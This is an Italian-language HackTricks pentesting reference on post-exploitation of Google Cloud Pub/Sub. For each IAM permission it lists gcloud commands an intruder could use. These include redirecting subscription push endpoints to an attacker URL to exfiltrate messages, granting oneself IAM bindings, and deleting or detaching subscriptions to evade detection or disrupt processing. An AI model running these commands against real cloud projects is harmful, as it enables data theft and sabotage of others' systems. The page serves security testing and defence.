# GCP - Pub/Sub Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Pub/Sub

Per maggiori informazioni su Pub/Sub consulta la seguente pagina:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.topics.publish`

Pubblica un messaggio in un topic, utile per **inviare dati inattesi** e attivare funzionalità impreviste o exploit vulnerabilities:

<details>

<summary>Pubblica un messaggio nel topic</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```
</details>

### `pubsub.topics.detachSubscription`

Utile per impedire a subscription di ricevere messaggi, magari per evitare il rilevamento.

<details>

<summary>Staccare subscription da topic</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
</details>

### `pubsub.topics.delete`

Utile per impedire a una subscription di ricevere messaggi, magari per evitare il rilevamento.\
È possibile eliminare un topic anche se ci sono subscription collegate.

<details>

<summary>Elimina topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
</details>

### `pubsub.topics.update`

Usa questo permesso per aggiornare alcune impostazioni del topic per interromperne il funzionamento, come `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...

### `pubsub.topics.setIamPolicy`

Concediti il permesso per eseguire uno qualsiasi degli attacchi precedenti.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)

Recupera tutti i messaggi da un web server:

<details>

<summary>Crea una push subscription per ricevere i messaggi</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
</details>

Crea una sottoscrizione e usala per **prelevare messaggi**:

<details>

<summary>Crea una sottoscrizione pull e recupera i messaggi</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```
</details>

### `pubsub.subscriptions.delete`

**Eliminare una subscription** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:

<details>

<summary>Elimina subscription</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
</details>

### `pubsub.subscriptions.update`

Usa questo permesso per aggiornare qualche impostazione in modo che i messaggi vengano salvati in un posto a cui puoi accedere (URL, Big Query table, Bucket) oppure semplicemente per interromperne il funzionamento.

<details>

<summary>Aggiorna endpoint della subscription</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
</details>

### `pubsub.subscriptions.setIamPolicy`

Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi commentati in precedenza.

### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)

Associa uno schema a un topic in modo che i messaggi non lo soddisfino e quindi il topic venga interrotto.\
Se non ci sono schemi potresti doverne creare uno.

<details>

<summary>Crea un file schema e allegalo al topic</summary>
```json:schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
```

```bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
```
</details>

### `pubsub.schemas.delete`

Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non soddisfano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà effettivamente nel topic. Quindi questo è **INUTILE**:

<details>

<summary>Elimina schema (inutile)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
</details>

### `pubsub.schemas.setIamPolicy`

Concediti le autorizzazioni necessarie per eseguire uno qualsiasi degli attacchi menzionati in precedenza.

### `pubsub.snapshots.create`, `pubsub.snapshots.seek`

Questo creerà uno snapshot di tutti i messaggi unACKed e li reintrodurrà nella subscription. Non molto utile per un attacker ma ecco:

<details>

<summary>Crea uno snapshot e fai seek su di esso</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
